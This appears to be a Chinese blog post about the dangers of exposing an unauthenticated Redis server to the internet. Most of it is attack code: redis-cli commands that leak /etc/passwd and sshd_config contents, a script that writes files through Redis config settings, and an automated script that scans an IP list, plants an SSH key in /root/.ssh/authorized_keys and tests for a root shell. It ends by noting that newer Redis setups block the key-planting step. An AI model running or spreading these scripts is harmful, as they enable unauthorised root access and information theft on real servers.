redis默認僅對127.0.0.1偵聽,因此只有本地的redis客戶端可以訪問。但是如果redis服務希望提供公網訪問,就需要向公網開放6379端口,這就存在一定的安全隱患,如果沒有設置redis認證密碼,則會導致很多安全隱患。
主要有兩個隱患,首先通過遠程的方式可以使用eval命令執行一些腳本,例如(如果沒有認證的話就不需要-a了,這裏面因爲是咱自己的服務器,所以加了認證):
redis-cli--eval "$(cat /etc/passwd)" -h 40.125.214.92 -aqwertyuioplkjhgfdsazxcvbnm
redis-cli--eval "$(egrep -v '(^#|^$)' /etc/ssh/sshd_config)" -h 40.125.214.92-a qwertyuioplkjhgfdsazxcvbnm
或者例如下面的腳本:
#!/bin/sh ip='40.125.214.92' (echo -e "\n\n"; cat "hahaha"; echo -e "\n\n") > foo.txt cat foo.txt | redis-cli -h $ip -a qwertyuioplkjhgfdsazxcvbnm -x set 1 redis-cli -h $ip -a qwertyuioplkjhgfdsazxcvbnm config set dir /var/tmp redis-cli -h $ip -a qwertyuioplkjhgfdsazxcvbnm config set dbfilename "testfile" redis-cli -h $ip -a qwertyuioplkjhgfdsazxcvbnm save |
可以利用dbfile遠程注入文件。
還有一個更復雜的遠程注入腳本(網上找到的,參考https://ruby-china.org/topics/28094):
#!/bin/sh if [ $# -eq 1 ] then ip_list=$1
##create id_rsa echo "****************************************Create id_rsa file"
expect -c " spawn ssh-keygen -t rsa -f id_rsa -C \"yyf\" expect { \"*passphrase): \" { exp_send \"\r\" exp_continue } \"*again: \" { exp_send \"\r\" } \"*y/n)? \" { exp_send \"n\r\" } } expect eof "
echo "\n\n****************************************Attack Targets" touch noauth.txt runasroot.txt rootshell.txt haveauth.txt i=0 cat $ip_list | while read ip do i=`expr $i + 1`; #write id_rsa.pub to remote echo "*****${i}***connect to remote ${ip} redis "
expect -c " set timeout 3 spawn redis-cli -h $ip config set dir /root/.ssh/ expect { \"OK\" { exit 0 } \"ERR Changing directory: Permission denied\" { exit 1 } timeout { exit 2 } \"(error) NOAUTH Authentication required\" { exit 3 } } "
case $? in 0) echo "run redis as root" echo $ip >> noauth.txt echo $ip >> runasroot.txt ;; 1) echo "not run redis as root\n\n\n" echo $ip >> noauth.txt continue ;; 2) echo "connect timeout\n\n\n" continue ;; 3) echo "Have Auth\n\n\n" echo $ip >> haveauth.txt continue ;; esac
#(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt (echo -e "\n\n"; cat "hahaha"; echo -e "\n\n") > foo.txt cat foo.txt | redis-cli -h $ip -x set 1 redis-cli -h $ip config set dir /root/.ssh/ redis-cli -h $ip config set dbfilename "authorized_keys" redis-cli save
#login test echo "#try to login" expect -c " set timeout 5 spawn ssh -i id_rsa root@$ip echo \"yyf\" expect { \"*yes/no\" { send \"yes\n\"}
\"*password\" { send \"\003\"; exit 1 } \"yyf\" { exit 0 } timeout { exit 2 } } exit 4 "
exitcode=$?
if [ $exitcode -eq 0 ] then echo "---------------${ip} is get root shell" echo $ip >> rootshell.txt fi
echo "\n\n\n" done
echo "##########Final Count##########" wc -l $ip_list echo "----------" wc -l noauth.txt wc -l runasroot.txt wc -l rootshell.txt echo "----------" wc -l haveauth.txt
else echo "usage: ./redis.sh ip.txt" fi |
不過現在redis用戶的權限已經很低了,所以遠程注入的這種方式行不通了,原因是/root/.ssh這個目錄不允許切換爲redis的dir了已經。
但是雖然不能注入,仍然會泄露一些信息,就比如剛開始利用cat命令輸出系統文件的內容,這種情況也會爲其他攻擊手段提供信息。